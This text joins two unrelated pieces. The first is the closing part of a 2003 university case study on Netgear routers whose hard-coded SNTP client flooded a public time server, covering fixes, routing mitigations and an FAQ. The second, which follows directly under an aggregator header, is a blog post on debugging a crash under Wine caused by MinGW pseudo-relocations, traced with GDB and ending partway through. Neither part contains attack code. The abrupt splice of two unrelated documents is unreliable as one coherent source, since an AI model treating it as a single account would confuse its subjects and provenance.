    This was incredibly advantageous as it allowed UW-Madison to identify and count the Netgear clients. However, due to the widespread use of Network Address Port Translation (NAPT, or NAT/PAT) upstream from some Netgear products, the SNTP request source port number is sometimes rewritten before the request packet reaches its destination.

    Note to network operators : Please do not block UDP traffic involving port 23457 nor traffic involving our NTP server's IP address of 128.105.39.11. While we appreciate attempts to help, it may interfere with the best possible solution to this problem.
  • Polls at one second intervals until it receives a response from the NTP server, after which it uses a longer poll interval such as one minute, ten minutes, two hours, or 24 hours, depending upon product model and firmware version.


Impact to Netgear Customers

As of this writing (August 2003) the University is making its best effort to service the Netgear time requests. As such, users of the affected products should not normally notice any problems due to this flaw. Furthermore, based on experience so far, it seems that only a small subset of the customers are even aware of the time-related features of these products (which include logging, policy scheduling, and email notifications).

In parallel, Netgear has produced and continues to work on firmware that does not exhibit the aforementioned problems. Customers can upgrade to newer firmware versions, which are available for download from Netgear's support site. At the time of this writing (August 2003), the most current version of firmware available for the RP614v2, RP614, DG814, and MR814 models does not utilize UW-Madison's time service nor does it poll too frequently.


Code Upgrades for Affected Netgear Products

Based on information supplied or confirmed by Netgear, the following products contained these SNTP design flaws. Where applicable, I have labeled each with the earliest version of code containing a fix:

Flawed Product Counts

I have counted more than 500,000 unique Netgear sources that queried our time server in one day. This measurement likely underestimates the actual count because of Network Address Port Translation, which modifies the source IP address and port number, and because some broadband residential services drop the customer's link when the service is not in use.

As of June 30, 2003, Netgear reported a total of 707,147 affected products manufactured. Some simple math: If there are 700,000 errant SNTP clients each of which can generate one SNTP request per second to our time server, then the worst-case aggregate rate will be about 700,000 packets per second. Since each SNTP packet is 76 bytes in size, that is also 426 megabits per second of traffic.

Figure 8a shows the actual number of unique NTP Netgear client IP addresses observed per day by a router on UW-Madison's network. Theoretically, counting the clients in this way could overestimate the count if the clients' DHCP servers changes the client IP address frequently. However, based on the number of products reported as having been manufactured, it seems fairly accurate.


Suggested Fixes

During the review process a number of improvements to the SNTP client were suggested. These included that an SNTP implementation:
  • SHOULD use a poll interval within the range from 64 to 1024 seconds or longer
  • SHOULD use local NTP server(s) or multicast when available, as configured by the operator or determined by a discovery mechanism such as via the DHCP "Network Time Protocol Servers Option", which is defined in section 8.3 of RFC 2132.
  • MAY performance exponential backoff of poll interval (within the aforementioned range) upon failure to receive a response from the NTP server(s)
  • MUST NOT use a shorter poll interval upon failure to receive a response from the NTP server(s)
  • MUST allow the operator to configure the query behavior with respect to whether or not it is enabled or disabled and with respect to which candidate time servers can be queried.
  • SHOULD use the Domain Name System to determine candidate server(s) IP address(es), so that the NTP server's zone administrator can influence the client behavior.
  • SHOULD resolve the server IP address via DNS before each poll/query, so that the pertinent DNS entries' Time-To-Live values are respected.
  • SHOULD support the existing NTP access-control mechanism by, upon receiving a valid `kiss-of-death' packet, reporting the condition and discontinuing queries to the server in question until reinitialization.
  • MAY use an implementation-defined fixed source port number
Some of these have been implemented in the initial fix but others are only under consideration. Hopefully these suggestions will be evaluated during an upcoming SNTP standardization effort.

The Initial Fix: "Instant" Code

During the review process, we learned that Netgear already was having SNTP-related code changes developed for the RP614v2 product prior to my initial notification of the problems the flaw was causing to the University.

Regarding Firmware v5.13 RC7 for the RP614v2, Netgear made this new code available to me on July 10. My testing found that the modified SNTP client had these characteristics, much as they described:

  • Now requires a DNS server to be configured (or learned via DHCP) before generating any SNTP queries.
  • The code performs DNS queries for "time-a.netgear.com" and "time-b.netgear.com" at ten minute intervals until success, alternating names if no response is received. I verified also that it supported responses with CNAMEs or multiple A records as well.
  • Following successful DNS resolution, it sends an NTP query to the resolved IP address and waits for a reply. If no reply comes in ten minutes, it again resolves the name, and requeries. It appears to give up after five retries.
  • Whenever any configuration change is applied via the web interface, it causes the device's clock to be zeroed, the NTP server to be re-resolved, and subsequently queried.
However I also found these bugs:
  • The SNTP client in this code does not appear to validate the NTP response packet. It will accept any incoming packet to port 23457 as a valid response even if the flags are set wrong (for instance, indicating that it is another client query rather than a server response).
  • While the SNTP client is awaiting a response (after querying either time-a or time-b) it seems to accept any UDP response packet, even if the source IP address of that UDP packet is not that of the time server that it queried.
This code was made available for download on the Netgear web site for the RP614v2 on or about July 11, 2003.

Netgear continues to develop improvements to their SNTP client and has vetted the design with the review team.


Network Operational Options: To Serve or To Sever?

These flawed devices are not easily reconfigurable. Representatives from both Netgear and UW-Madison believe that it is not a viable option to rely on Netgear's customers to upgrade to the newer firmware (the first of which was released in July) to correct the errant behavior.

Our review team has considered a number of possible options about how to deal with the errant Netgear time requests. While I won't discuss all the details here, the two primarily endgames on which we've focused are outlined below.

Endgame A: UW-Madison Netgear Anycast Time Service

In this option we would deploy highly-reliable, redundant NTP servers at WiscNet's borders and route the inbound requests destined to 128.104.39.11 to them using BGP anycast. (Anycast is a technique that can often be employed to route traffic for some stateless RPC services, such as DNS or NTP, which are based upon UDP.) Implementing this option would likely include placing a pair of rack-mount NTP servers at each of three locations within WiscNet: UW-Madison, UW-Milwaukee, UW-Eau Claire. These are nearest the three current border Internet exchange points and therefore provide the most diverse paths for reliability of connectivity to the global Internet.

One distinct advantage of this configuration is that UW-Madison retains as much control as possible over its precious IPv4 address allocations. Because this BGP anycast deployment resides solely within WiscNet (which will honor a single /32 host-address route), this option consumes as little of UW-Madison's IP address space as possible - just the address to which Netgear time requests were directed.

Endgame A has some risk. Whether or not the servers' responses reach the requesting client host is not wholly within the University's control, consequently some amount of flooding will likely continue. There are many reasons other than server failure for disruptions in the end-to-end path between the SNTP clients and servers that could cause the clients not to receive the responses and to flood requests toward our servers anyway. These include asymmetric routing problems, firewalling policies, and disasters affecting any link between the clients and servers. Indeed, even while our time server is dutifully responding to all netgear SNTP requests, we still regularly observe that hundreds of them continue to flood. Apparently these "zombies" never receive our responses.

To limit the possibility of the multiple servers being simultaneously isolated from the Internet, one could consider an even more geographically diverse set of deployment locations, such as that done by the AS112 Project , which effectively mitigates the damage caused to the Internet's root name servers by RFC1918-related queries.

Figure 10 is a diagram showing how this service would work. The Netgear SNTP requests heading toward UW-Madison are shown in green. Note that multiple NTP servers, all with the same IP address, are located in multiple locations. WiscNet's border routers divert the inbound SNTP requests to the nearest server. The server responses are shown in red. If any of the servers fail, the traffic should route to one of the remaining NTP servers with the same address.


Endgame B: Attempt to Suppress the Requests

To prevent Netgear time requests from being forwarded to our network would require UW-Madison to sacrifice a block of IP address space within the class B network which includes the IP address of ntp1.cs.wisc.edu.

Because of the way the Internet's backbone routing is operated, and to keep the number of routes manageable, network routes are sometimes not respected unless they are sufficiently large. In today's Internet, that means a route might not be considered legitimate unless it represents 2,048 or 4,096 contiguous addresses. Respectively, network operators would call those size "/21" or "/20" (pronounced "slash twenty") blocks because they represent networks having netmasks of 21 or 20 contiguous bits.

Figure 11 is a diagram showing this configuration. The BGP updates originating from UW-Madison's border router are shown in red. The Netgear SNTP Requests are shown in green. The ICMP unreachable messages returned to the client by BGP-aware border routers throughout the Internet are shown in blue. These inform the client that the network in which the NTP server would reside is unreachable.


Endgame B: IP Resources Required

This endgame that tries to suppress the forwarding of requests comes at a significant cost to the University - we may have to sacrifice, likely for the lifetime of the flawed products, as many as 4,096 IP addresses. Figure 12 shows how our existing 128.105.0.0/16 network could be divided, and the one slice "/20" block which would be excluded from the Internet's global BGP routing table.

The risks of endgame B include the possibility that some portions of the Internet might not be able to reach legitimate campus IP addresses that lie near the sacrificial, unadvertised block. Input from the backbone network operations community and real-world experience must determine which solution best serves the University and Internet community as a whole.


Inform the Internet Community

The public release of this document is part of an effort to inform the Internet community of this flaw and the resulting floods, with the hope of minimizing the likelihood of such a mistake being repeated elsewhere. Note that Netgear was notified of our plan to publicly disclose the details herein weeks in advance of its release. Furthermore, earlier revisions of this document were provided to them for review.

Because of the scope of the resulting problem, with hundreds of thousands of ill-behaved Internet hosts distributed world-wide, and because of the scale and unexpected nature of the flooding, with aggregate rates which could completely fill some network links, I felt that it was important to inform others and solicit advice from experts.

Following this disclosure, it's my intent to find appropriate venues to further present and review the dangers and potential solutions to this and similar problems.

For instance, during the review process we learned that the Commonwealth Scientific & Industrial Research Organisation ( CSIRO ) in Australia is having similar trouble with about 85,000 SMC brand routers that poll the CSIRO time server twice a minute when they don't receive a response. A story about that incident, " Rogue routers cause havoc for CSIRO ", can be found here:

http://australianit.news.com.au/articles/0,7204,6716567%5e15340%5e%5enbv%5e15306-15318,00.html

While the scale of the CSIRO problem is orders-of-magnitude less, with floods of perhaps 2,800 packets per second and 1.7 megabits per second, it is strikingly similar and perhaps not as likely to be as responsibly addressed with the assistance of that manufacturer.


Clarify Internet Best Current Practice and Protocol Standards

Also during the review process, some members of the review team began work on Internet Drafts to improve documentation pertinent to this issue. There are at least two such efforts currently in their infancy:

  1. I am in the process of preparing an Internet Draft, currently titled "Embedding Globally Routable Internet Addresses Considered Harmful", which denounces the practice of embedding unique, globally routable IP addresses in Internet hosts, describes some of the resulting problems, and considers selected alternatives.
  2. Members of the NTP community have revised and reviewed the existing Informational RFC2030 that describes SNTP. Through their efforts and perhaps those of other interested parties, it may be possible to revisit NTP and SNTP as a standards track protocol within the IETF .

Status, August 21, 2003

I'm pleased to report that Netgear has cooperated with us on the initial steps of this process and we are forging an agreement that will enable us to implement a suitable solution.

For the time being, UW-Madison continues to service Netgear SNTP requests in spite of receiving occasional large-scale floods of traffic from Netgear products. A recent incident is shown in Figure 13. The shark-fin shaped anomaly on the right is a flood of inbound Netgear time requests which grew to about 100,000 packets per second before subsiding.

Both the magnitude and duration of the Netgear-caused incidents continue to present a serious operational problem for UW-Madison. While essentially involved in a game of russian roulette at the moment, we are hoping to utilize the expertise of both UW-Madison and the Internet operator community to design and implement a good solution.


Afterthoughts

Here are some questions, offered as food for thought, that were brought to mind by this case study:
  • What does this unintentional Denial-of-Service flood indicate about the viability of some public Internet services?
  • Can the Internet routing infrastructure be improved to enable less disruptive solutions to such problems?
  • Are incidents such as this a likely side-effect of ubiquitous, low-cost, perhaps even disposable Internet hosts?
  • Are the manufacturer, vendor, Internet operations, and user communities willing and able to cooperate to address such problems?

Acknowledgements

The following provided assistance with the data gathering, analysis, and people networking:

  • University of Wisconsin-Madison: Jeff Bartig, Jim Gast, Michael Hare, Adam Kunen, Dave Thompson
  • University of Florida: Robert Bird, Greg Goddard
  • Harvard University: Greg Mazzu
  • k claffy, Nevil Brownlee, George Michaelson

I'd also thank the members of the review team, including those remaining anonymous. I'm certain we'll come to a better solution because of their participation.


Analysis Tools

The following tools were used during this investigation:

References / Further Reading

  1. RFC2030: Simple Network Time Protocol (SNTP) Version 4 for IPv4, IPv6 and OSI (status: Informational)
  2. RFC1305: Network Time Protocol (Version 3) Specification, Implementation and Analysis (status: DRAFT STANDARD)
  3. home of the Network Time Protocol (NTP) project
  4. Public NTP Time Servers
  5. Public NTP Secondary (stratum 2) Time Servers
  6. RFC2132: DHCP Options and BOOTP Vendor Extensions
  7. RFC1546: Host Anycasting Service
  8. http://www.networksorcery.com/enp/protocol/sntp.htm
  9. an article on how to change Windows' time server configuration using regedit
  10. Basic Operation of the Windows Time Service
  11. http://www.microsoft.com/windows2000/docs/wintimeserv.doc
  12. Flawed Routers Flood University of Wisconsin Internet Time Server (NANOG 29 presentation)
  13. A Case Study in Internet Pathology: Flawed Routers Flood University's Network (LISA '03 talk)

Frequently Asked Questions

  1. What is Netgear's liability for causing (however inadvertently) this denial of service for your network?

    My work responsibilities are not ones that would make me a participant in such negotiations. However, as I reported, an agreement is being forged.

    Note to others: Please do not ask me for financial or legal details. This document is a technical summary of the situation and is not the vehicle by which to deliver such details.

    You may be interested in this news article: http://www.doit.wisc.edu/news/story.asp?filename=322

  2. Have you considered putting up a server which sends back fake answers to netgear clients, to cause people to upgrade?

    Yes, but we didn't consider it for long. Both Netgear and others on the review team agreed that it would likely have very little effect, since only a small subset of the customers seem to even be aware of the NTP-related features of the affected products. Besides, the proposed "dishonest" time server (which would report the wrong time) would have to be operated at the IP address that is currently that of our well-known reliable time server. It would be quite rude for it to suddenly become unreliable since the whole purpose of the public time service is to answer with the correct time. The University intends to provide the best possible service, regardless of how it's abused.
  3. What is the expected life-time for these products?

    Personally, I think its likely that many of them will be around until five to ten years from now. Its only a guess, but perhaps the half-life is five years, after which we'd expect to see less than 350,000 of the affected products remaining in use.
  4. In figure 13, could that "shark fin" spike have anything to do with last week's power grid failure (Blackout 2003), and subsequent "rolling" restoration?

    No, it did not coincide with the blackout that affected the east coast in August 2003. However, I did look for evidence of the blackout in the netgear SNTP traffic, and found only slight less during the outage. Relatively little of the Internet was actually affected by the power outage. Early reports were that only a few thousand BGP prefixes from only a couple hundred autonomous systems were offline. Those that were offline were unreachable in both directions, so we didn't receive requests from them until power was returned. The rolling restoration served to distribute the load to our server as those netgear clients came online.
  5. Are there other devices than those mentioned which also suffer from the flaw which causes inadvertent flooding of your network?

    A number of Netgear users have reported to me that Netgear model RO318, firmware version V3.26, also utilizes our time server and also logs ntp errors to its security log. I have not evaluated this product, so do not know what retry times it uses, but will report this to Netgear.
  6. What was the effect of this article being slashdotted?

    While having a significant effect on the web server, overall it was an insignificant level of traffic for the campus. The server handled 30 requests a second for a while.

    Here's a graph comparing the web server hits-per-second to the number of Netgear-sourced SNTP request flows-per-second, when this report was slashdotted. (Note that most Netgear clients were receiving replies from our server at this time, so they were not flooding requests.)

  7. Why is a traditional manufacturer recall/defect solution not a possibility?

    Both Netgear and other members of the review team felt that it was unlikely that all but a very small subset of the owners would return the affected device since they appear to be working fine. Also, very few customers have registered these products with the manufacturer, so it is impractical to contact them.
  8. I'm with [the IT press], do you have some time to speak with me?

    When this report was first presented, an astute audience member proposed that the IT press ostensibly plays an important role in evaluating whether or not consumer products comply with Internet standards and best current practice.

    Given that, if you're with the IT press and your publication does Internet product reviews or makes "Editor's Choice" awards, I am willing to correspond with you by email about this story. Specifically, the Internet community may benefit from our exploring the IT press' familiarity with Internet standards and best practices and the press' assessment of its ability to evaluate products.

    By tying the reporting of this story in with the product evaluation and recommendation function of the IT press, I'm hopeful that the community could reduce the likelihood of such flaws causing such problems. It's just an idea, let me know what you think.

  9. How has this story been covered in the press?

    While certainly not an exhaustive list, here is a sampling of coverage.
    (Please be aware that some of these articles are misleading or incorrect about the details;
    Only a few of them contacted me to check the facts.)

Copyright 2003, Dave Plonka.

$Id: index.wml,v 1.39 2006/07/19 15:20:28 plonka Exp $

$Log: index.wml,v $ Revision 1.39 2006/07/19 15:20:28 plonka updated figure 8a Revision 1.38 2005/04/28 16:13:02 plonka updated figured 8a added NANOG and LISA talks to references added news story url to faq entry fixed a typo Revision 1.37 2004/09/28 18:37:16 plonka fixed a typo Revision 1.36 2004/05/19 22:54:31 plonka updated figure 8a Revision 1.35 2004/02/05 17:29:12 plonka added figure 8a, Netgear SNTP Clients Per Day Revision 1.34 2003/12/04 22:30:58 plonka fixed a typo Revision 1.33 2003/10/16 22:30:05 plonka added a faq entry Revision 1.32 2003/09/15 22:13:13 plonka fixed some typos and the host address counts for /20 and /21 blocks Revision 1.31 2003/09/12 18:09:49 plonka added info about code upgrade for HR314 Revision 1.30 2003/09/10 15:03:26 plonka fixed a typo Revision 1.29 2003/09/10 14:58:50 plonka added using DHCP "Network Time Protocol Servers Option" to "Suggested Fixes" Revision 1.28 2003/08/30 02:22:20 plonka added faq entry Revision 1.27 2003/08/27 18:42:42 plonka added graph evidencing the flash crowd when this report was slashdotted Revision 1.26 2003/08/26 21:40:46 plonka fixed some typos and reworded a couple sentences Revision 1.25 2003/08/25 23:54:09 plonka added faq entries

Sorry, Wrong Number: Debugging a Crash under Wine (2022)

Lobsters
blog.jchw.dev
2026-09-13 16:31:16
Comments...
Original Article

On December 3rd, 2021, a friend of mine needed help: their program was crashing on Wine , and they wanted to know how to fix it.

(And I'm only getting around to publishing this now , several months later. I'm a bit disorganized...)

Normally, the answer to this question is not very complicated, because a lot of stuff works just fine in Wine provided the environment is setup correctly, and some stuff simply doesn't work. Usually problems fall into one of those two categories; however, in this case, there really wasn't any obvious reason (at least to me) why it shouldn't work.

The program in question is compiled with MSys2's MinGW-w64 package, using GCC 10.3. It contains a few other libraries also compiled with the same toolchain, as DLLs, including libpng and zlib , which I am about to become very familiar with.

Some debugging had already been done, and they knew which call the application was failing in: a call to png_read_info . I ran it under Wine using the WINE_DEBUG=+all option and generated a gigantic log file of mostly useless information. After a bit of correlation, I found the last API call before the crash: an msvcrt._read , returning successfully... and then we crash.

After a bit of misdirection, I realized a crucial detail that I had been glancing over for a bit: the access violation was an execute , not a read or write. That means that RIP is landing in the middle of a page that is not executable. Hmmm. Stack corruption, somehow?

Something interesting about Wine is that you can run it under Valgrind, which, with a few flags, does actually work correctly. But upon doing this, I discovered nothing particularly interesting, certainly nothing that would suggest stack corruption, so I moved on.

At this point I decided to break out rr, a special debugger that can record and replay program execution. Honestly, it's a bit overkill here, but it does make it easier to analyze crashes, and this seemed like a good excuse to pull it out. There is a bit of trickiness with using rr on top of Wine, but it works more or less just fine; it's just a bit of a pain to get the replay working. I never quite figured out how to get debug symbols to map correctly with this Wine-under-GDB setup going on, so I had to manually explore the address space to figure out what I was looking at.

After much ado, the program crashes into... nowhere. It crashes at 0x2'fe8f'2910 . Nothing is mapped here. Hmm.

Using the magic of rr, I can replay to some point directly before the crash and then step into it. A few hundred stepi s later, and I found the culprit: e8 20 45 7e 96 , at the address 0x3'6810'e3eb . AKA, CALL 0x2fe8f2910 . In other words: there is an explicit CALL to nowhere.

At this point, I threw libpng in a disassembler, and found the instruction at 0x36810e3eb . The instruction?

A screenshot showing a CALL instruction, CALL near ptr crc32 (E8 78 9E 03 00)
A call to... crc32?

Bizarre. That CALL has a completely different address. It is e8 78 9e 03 00 , not e8 20 45 7e 96 which is non-sense and points backwards to before the entire module.

So who's modifying the CALL? Is it the program? Is it libpng? Is it Wine?

A screenshot of Fred Jones from Scooby Doo imminently unmasking a perpetrator.

Tracing the CALL

One thing we do know about the .text segment is that it's read-only. Of course, you should at least verify this in your disassembler, but I did, and indeed, it's read-only. That means that in order to modify the segment, someone would need to deliberately mark it writable. On UNIX-like platforms, you would use a syscall like mprotect , whereas Windows provides VirtualProtect in kernel32. Thankfully, there's really no way that libpng would link to VirtualPro -

A screenshot of the IDA imports panel, showing VirtualProtect and VirtualQuery being imported from KERNEL32 by the libpng DLL.
Goddammit.

...what exactly is libpng doing calling this?

A call graph showing VirtualProtect being called by sub_36812E420, which is called by sub_36812E590, which is called by sub_3680F1200 (which is, effectively, the DLL's entrypoint.)

Apparently, it reaches back to sub_3680F1200 , which is just the entry point of the DLL–there's a stub over at the "true" entry point, but IDA does not count the jmp in the call graph, so you can't see it here.

In order to try to identify what this code was, I used the tried and true strategy of looking for interesting strings, and quickly found a few, but the most interesting was this one: "Unknown pseudo relocation bit size %d" – hrm, what's a pseudo relocation?

What is a pseudo relocation?

I've mostly glossed over many of the lower level details in this post, but I think this one merits some more attention.

What is a normal relocation?

Before answering what a pseudo relocation is, I'd like to discuss regular relocations. When a linker links a program module, it has to pick some arbitrary "base address" to use for position-dependent code and data. What does that mean? Let's say you have a global, statically-initialized variable that is a pointer to another global variable. This is allowed. The pointer written into the executable file during compilation (specifically linking) is the address that would be correct if the program module was loaded into its preferred base address . Much code and data is position-independent, and thus does not need relocations, but any place where an absolute offset into the address space must be written, such as static pointers, relocations will be needed.

However, being loaded at your preferred base address is somewhat rare these days. For one thing, almost all executable loaders need to support relocating the module to a different base address, because otherwise, it'd be impossible to simultaneously load two modules whose preferred base addresses lead to an overlap, and these cannot be coordinated ahead of time in most cases. In addition, modern AMD64 machines have plenty of address space, so for security reasons, a mitigation called ASLR is almost always used, which essentially just randomizes the base address of program modules even if they are not initially overlapping. (This is a bit of an oversimplification .)

If we move (that is, change the location of) the program module in memory, the addresses that the linker had to write based off of the preferred base address don't line up, as the module is now at a different address, and all offsets are now shifted by some value. In order to adjust this pointer, the linker stores a relocation entry in the binary during compilation for each instance of position-dependent code or data, such as our pointer. At runtime, the executable loader or runtime linker will read each relocation entry and adjust it based on the type of relocation and the offset; adding the offset between the preferred base and the actual base directly to the value present at the address. As long as there is no inadvertent position-dependent code not accounted for by relocations, everything will work perfectly fine.

Modern Windows uses the Portable Executable format. The PE format contains ~9 or so different kinds of relocation entries, some of which vary depending on CPU architecture. The main reason this is necessary is to handle different relocations that modify CPU instructions, where the address may be encoded into the CPU instruction in different ways that the relocation needs to be aware of. PE handles, for example, special cases for the MIPS, ARM (32-bit), and RISC-V instruction sets. (UEFI uses the PE binary format for its binaries, so in order for RISC-V to be able to support UEFI, the PE binary format needed to add support for RISC-V, too. Fun fact!)

Microsoft Windows vs. everything else

The thing is, though, in many other operating systems, especially UNIX-likes, relocations and symbols are different. Whereas Windows binaries have explicit Imports and Exports, and a vector of pointers called the IAT (Import Address Table,) ELF binaries have a single unified symbol table. And when it comes to relocations, ELF has a lot more types of relocations than PE.

Why does this matter? The answer has everything to do with linkage.

When you compile some C code, and it references a symbol which is not defined in that translation unit, it is treated as an external symbol . Later, during linking, when the linker resolves that symbol, it can place the address of the symbol where needed, and thus, the symbol is resolved.

This becomes a problem when linking to other libraries and modules; the address of the symbol is not actually known until runtime, when those libraries and modules are loaded in. Because of that, you need to generate different code; code that resolves the address at runtime, then uses that address. At least on Windows, it would not be typical to generate code like this for any external symbol; it would be slow and wasteful.

Thankfully, there is a workaround for function calls: the linker can generate a thunk ; a small routine that forwards the call through the IAT, then that thunk can be used as the address to write in for the CALL instruction.

But what if you reference a data symbol from another library or module? Or, if you try to get the address of a function symbol from another library or module? That's a problem. You need to generate the aforementioned code which resolves the address first, and the compiler, not knowing that this is the case, will generate the wrong code, and the linker will not be able to deal with it.

With ELF, you actually can do this, using symbol-relative relocations. With PE, you are S.O.L. ; Or at least, you would normally be.

What a pseudo-relocation is.

Of course, it is possible to link to data symbols on Windows. This is what all of that __declspec(dllimport) business is for: you can specify it on declarations of external symbols, and that way the compiler can generate code which is appropriate for linking to an external symbol in another library.

So what's the problem?

Well, a lot of code written for UNIX-likes doesn't mark their symbols with __declspec(dllimport) , given that it is a non-standard Visual C++ extension. MinGW wants to support compiling these programs, and in order to support that, it has invented the concept of pseudo-relocations. (Or perhaps Cygwin has invented this concept; I'm not sure.) A pseudo-relocation is a "fake" relocation handled at runtime, by the library itself, after the real relocations are done. It does this by, at the entrypoint, walking through a list of pseudo-relocations and adjusting the pointers with some offset relative to an IAT entry. These pseudo-relocations import symbol-relative imports, just like ELF systems.

In other words... Pseudo-relocations are a MinGW feature that implements a special kind of "relocation" where a pointer in code or data is replaced with an address relative to an imported symbol .

(Truth be told, it's unclear why MinGW has decided that a call to crc32 needs a pseudo-relocation, but it seems like it can happen when you pass flags to prevent thunks from being generated, and the wrong definitions to zlib to prevent it from using the proper linkage attributes on its symbols.)

Hopefully, you have at least as good an understanding as I do about why pseudo-relocations exist, and what problem they're meant to solve... but a problem remains:

Why does this code, which works under Windows, break under Wine? If you are particularly keen, you may already have an idea what's going on, but just to make sure we're going to dive into exactly what's happening.

Digging Deeper

In order to get more insight into what's going on, we can debug the pseudo-relocation implementation. I don't have debug symbols for it, but that's not a big deal, since the pseudo-relocation code compiles down to relatively succinct and understandable machine code.

Wine provides a GDB server, so you can connect a number of different debuggers. However, I hit a crucial limitation with winedbg right away: it seems to execute the loader before we have a chance to insert breakpoints, which means the libpng entrypoint has already ran before we get the chance to break on it. This leaves us with a couple of different options:

  • We could fudge the was_init variable. It's a global that the pseudo-reloc code uses to determine if it has run already; the DLL entrypoint runs for new threads, so we could just break on that, then adjust was_init so that it runs again anyways. This might work, but even if so, it's not very versatile.
  • We can forgo winedbg and simply run Wine itself under GDB.

Wine under GDB

When I used rr earlier, I was basically already doing this. However, rr is pretty overkill for this problem, and actually introduces some complexity of its own, so it's probably easier to just forgo it for now.

I'm on NixOS, where the WINE binary on the $PATH is actually a shell script. We'll tell GDB to execute bash first.

$ gdb --args bash wine Game.exe

This won't work just yet; we need to adjust the behaviors on fork and exec; then we can go.

(gdb) set follow-fork-mode child
(gdb) set follow-exec-mode new
(gdb) catch fork
Catchpoint 1 (fork)
(gdb) catch exec
Catchpoint 2 (exec)
(gdb) run

We can continue a couple of times until we're finally in our target binary, then flip follow-fork-mode back to parent and follow-exec-mode back to same . I want to set a breakpoint at the point at which the was_init variable is flagged. Because WINE doesn't implement ASLR, our libraries end up at their preferred base addresses, so lacking symbols in GDB, I can just enter the raw addresses as determined by digging around in IDA:

(gdb) break *0x36812E5C8
Breakpoint 3 at 0x36812e5c8

GDB doesn't give us a whole lot of feedback. Something useful you can do is have GDB print the disassembly at the instruction pointer for you:

(gdb) display/i $pc
1: x/i $pc
=> 0x36812e5c8: movl   $0x1,0x14b0e(%rip)        # 0x3681430e0
(gdb)

Now, as we step through, we can see what instruction we are on.

In this case, the +0x14b0e address is was_init . This instruction may look strange since pseudo-reloc has ++was_init rather than was_init = 1 , but I think we can assume that the compiler has optimized it to assume was_init is zero due to the conditional beforehand. Neat.

This could get pretty boring if we tried to understand and explain each instruction. I've already analyzed the function and found the relocations, so I should be able to set a conditional breakpoint that gets me into the exact spot I want to be.

IDA Pro screenshot showing a number of runtime_pseudo_reloc_item_v2 structures, highlighting the one that covers the offset of interest for us.

IDA Pro annoyingly shows the same address for all relocations because it's marked as an array. That's OK – we just need to calculate it out, and make a quick breakpoint:

(gdb) break *0x36812E69D if $rbx == 0x36813DF4C
Breakpoint 5 at 0x36812e69d

And now we can continue. Once we're there, we can step around:

(gdb) stepi
0x000000036812e69f in ?? ()
1: x/i $pc
=> 0x36812e69f: mov    0x4(%rbx),%esi
(gdb)
0x000000036812e6a2 in ?? ()
1: x/i $pc
=> 0x36812e6a2: movzbl 0x8(%rbx),%edx
(gdb)
0x000000036812e6a6 in ?? ()
1: x/i $pc
=> 0x36812e6a6: add    %r13,%rax
(gdb)
0x000000036812e6a9 in ?? ()
1: x/i $pc
=> 0x36812e6a9: add    %r13,%rsi
(gdb)
0x000000036812e6ac in ?? ()
1: x/i $pc
=> 0x36812e6ac: mov    (%rax),%r15
(gdb)
0x000000036812e6af in ?? ()
1: x/i $pc
=> 0x36812e6af: cmp    $0x20,%edx
(gdb)
0x000000036812e6b2 in ?? ()
1: x/i $pc
=> 0x36812e6b2: je     0x36812e7a8
(gdb)

This is just a switch statement compiled into a conditional tree. As luck would have it, all of our relocations are 32-bit (...), so this first conditional hits immediately.

(gdb)
0x000000036812e7a8 in ?? ()
1: x/i $pc
=> 0x36812e7a8: mov    (%rsi),%edx
(gdb)
0x000000036812e7aa in ?? ()
1: x/i $pc
=> 0x36812e7aa: mov    %rdx,%rcx
(gdb) nexti
0x000000036812e7ad in ?? ()
1: x/i $pc
=> 0x36812e7ad: or     %r14,%rdx
(gdb)
0x000000036812e7b0 in ?? ()
1: x/i $pc
=> 0x36812e7b0: test   %ecx,%ecx
(gdb)
0x000000036812e7b2 in ?? ()
1: x/i $pc
=> 0x36812e7b2: cmovns %rcx,%rdx
(gdb)
0x000000036812e7b6 in ?? ()
1: x/i $pc
=> 0x36812e7b6: mov    %rsi,%rcx
(gdb)
0x000000036812e7b9 in ?? ()
1: x/i $pc
=> 0x36812e7b9: sub    %rax,%rdx
(gdb)
0x000000036812e7bc in ?? ()
1: x/i $pc
=> 0x36812e7bc: add    %rdx,%r15
(gdb)
0x000000036812e7bf in ?? ()
1: x/i $pc
=> 0x36812e7bf: call   0x36812e420
(gdb)
0x000000036812e7c4 in ?? ()
1: x/i $pc
=> 0x36812e7c4: mov    %r15d,(%rsi)
(gdb)
0x000000036812e7c7 in ?? ()
1: x/i $pc
=> 0x36812e7c7: jmp    0x36812e694
(gdb)

This code right here is the culprit. It just wrote %r15d to the memory at the address pointed to by %rsi . What are those values?

(gdb) i r r15d
r15d           0x967e4520          -1770109664
(gdb) i r rsi
rsi            0x36810e3ec         14630839276

We have, without a doubt, located the culprit. It's writing the exact same sequence of incorrect bytes we saw earlier. What the heck is wrong with it? Why isn't it getting the correct address for crc32? Why is it 0x1'0000'0000 too far forward?

If you haven't figured it out yet, this should do it:

# At this point, %rax points to where the IAT entry is,
# and %r15 points to the actual value in it.
rax            0x368148268         14631076456
r15            0x1fe8f2910         8565762320

# Read the value at the target into %edx.
# This is a pointer into the IAT.
mov    (%rsi),%edx

rsi            0x36810e3ec         14630839276
*rsi           0x39e78             237176
edx            0x20 -> 0x39e78     32 -> 237176

# Copy %rdx into %rcx.
mov    %rdx,%rcx
rdx            0x39e78             237176
rcx            0x0 -> 0x39e78      0 -> 237176

# Perform sign extension on %rdx copy.
or     %r14,%rdx
r14            0xffffffff00000000  -4294967296
rdx            0x39e78 -> 0xffffffff00039e78  237176 -> -4294730120

# Test %ecx for flags.
test   %ecx,%ecx
eflags         0x286               [ PF SF IF ]
ecx            0x39e78             237176

# This undoes the sign extension if the sign bit is not set.
cmovns %rcx,%rdx
eflags         0x206               [ PF IF ]
rcx            0x39e78             237176
rdx            0xffffffff00039e78 -> 0x39e78  -4294730120 -> 237176

# At this point we've undone the sign extension.

# Move relative offset of IAT into rcx, for mark_section_writable.
mov    %rsi,%rcx
rsi            0x36810e3ec         14630839276
rcx            0x39e78 -> 0x36810e3ec  237176 -> 14630839276

# %rax is the absolute address of the IAT entry. Subtract it from %rdx.
sub    %rax,%rdx
rax            0x368148268         14631076456
rdx            0x39e78 -> 0xfffffffc97ef1c10  237176 -> -14630839280

# Add %rdx to %r15.
add    %rdx,%r15
rdx            0xfffffffc97ef1c10  -14630839280
r15            0x1fe8f2910 -> 0xfffffffe967e4520  8565762320 -> -6065076960

# Call mark_section_writable
call   0x36812e420

# Write the pseudo-relocation back.
mov    %r15d,(%rsi)
rsi            0x36810e3ec         14630839276
*rsi           0x39e78 -> 0x967e4520  237176 -> -1770109664
r15d           0x967e4520          -1770109664

